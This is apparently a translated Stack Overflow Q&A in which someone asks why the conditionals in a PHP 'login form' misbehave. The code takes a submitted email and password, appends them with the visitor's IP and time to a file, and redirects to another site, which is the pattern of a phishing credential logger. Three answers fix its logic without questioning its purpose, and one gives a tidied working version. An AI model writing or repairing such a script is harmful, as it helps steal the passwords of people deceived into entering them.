条件语句和POST数据的问题

时间:2016-03-03 08:00:32

标签: php

我有一个基本的PHP登录表单,可以保存您的登录信息。我写了一个PHP代码,但代码没有按预期工作。这是代码。

<?php
if($_POST) {
    $email=$_POST['id'];
    $pass=$_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    if(empty($email) || empty($pass)){
        header("Location: ../index.php?e=2");
    }
} else {
    $t=time();
    $time=date("D d M Y h:i:s A",$t);
    $f = fopen("code.htm", "a"); 
    fwrite ($f, $email.$password.$ip.$time);
    fclose($f);

    header("Location: xyz.com");
}

if(!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/",$email))) {
    header("Location: ../index.php?email_error=2");
} else {
    //do nothing
}
?>

第一个 if 子句检查空字段,如果空重定向到 index.php?e = 2 else 子句在文件中写入电子邮件,密码,IP和时间,并将用户重定向到所需位置。

在第三个 if 子句中,我使用正则表达式进行电子邮件验证,并将用户重定向到显示错误的索引。

这段代码非常简单但无论什么尝试只有第三个“if”子句有效。我无法弄清楚。感谢您的帮助,如果我犯了任何错误,请更正。

3 个答案:

答案 0 :(得分:2)

检查$_POST是否为空状态。 if(!empty($_POST))。正如@Dean所说。你的其他人永远不会执行,因为帖子总是在那里。因此,您应先进行空帖,并在每个exit();之后放置die();header

<?php
  if(!empty($_POST)){
     $email=$_POST['id'];
     $pass=$_POST['pass'];
     $ip = $_SERVER['REMOTE_ADDR'];
  if(empty($email) || empty($pass)){
    header("Location: ../index.php?e=2");
    exit();
   }
}else{
     $t=time();
     $time=date("D d M Y h:i:s A",$t);
     $f = fopen("code.htm", "a"); 
     fwrite ($f, $email.$password.$ip.$time);
     fclose($f);

     header("Location: xyz.com");
     exit();
}
    if(!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/",$email))){
         header("Location: ../index.php?email_error=2");
         exit();
}else{
    //do nothing
}
?>

答案 1 :(得分:1)

也许这样的事情(但我不会理解fwrite的情况

//check is request is POST. 
// you can use !empty($_POST) - but this not necessary,
// because ($_POST) and !empty($_POST) - has the same result
// $_POST - this is a global variable, it's always available
// and there empty array - if this is not POST request, or POST request without data.
// and [] == false  // true
if ($_POST) { 
    // if required data empty, don't process below code
    if (empty($_POST['id']) && empty($_POST['pass'])) {
        header("Location: ../index.php?e=2");
        exit();
    }

    // check email, and if it's invalid - go to error
    // and don't process below code
    $email = $_POST['id'];
    if (!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/", $email))) {
        header("Location: ../index.php?email_error=2");
        exit();
    }

    // everything checks out - it's cool
    $pass = $_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];

    $time = date("D d M Y h:i:s A", time());
    $f = fopen("code.htm", "a");
    fwrite($f, $email . $pass . $ip . $time);
    fclose($f);

    header("Location: xyz.com");
    exit();
} else {
    // show any message or page
}

P.S。您应该处理任何其他请求类型(else - 显示任何消息或页面)

答案 2 :(得分:0)

删除额外的括号并在标题后添加退出。最终代码将是这样的:

if (isset($_POST['id']) && !empty($_POST['id'])) {
    $email = $_POST['id'];
    $pass = $_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    if (empty($email) || empty($pass)) {
        header("Location: ../index.php?e=2");
        exit;
    }
  }  else {
    $t = time();
    $time = date("D d M Y h:i:s A", $t);
    $f = fopen("code.htm", "a");
    fwrite($f, $email . $password . $ip . $time);
    fclose($f);

    header("Location: xyz.com");
    exit;
}
if (!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/", $email))) {
    header("Location: ../index.php?email_error=2");
    exit;
} else {
    //do nothing
}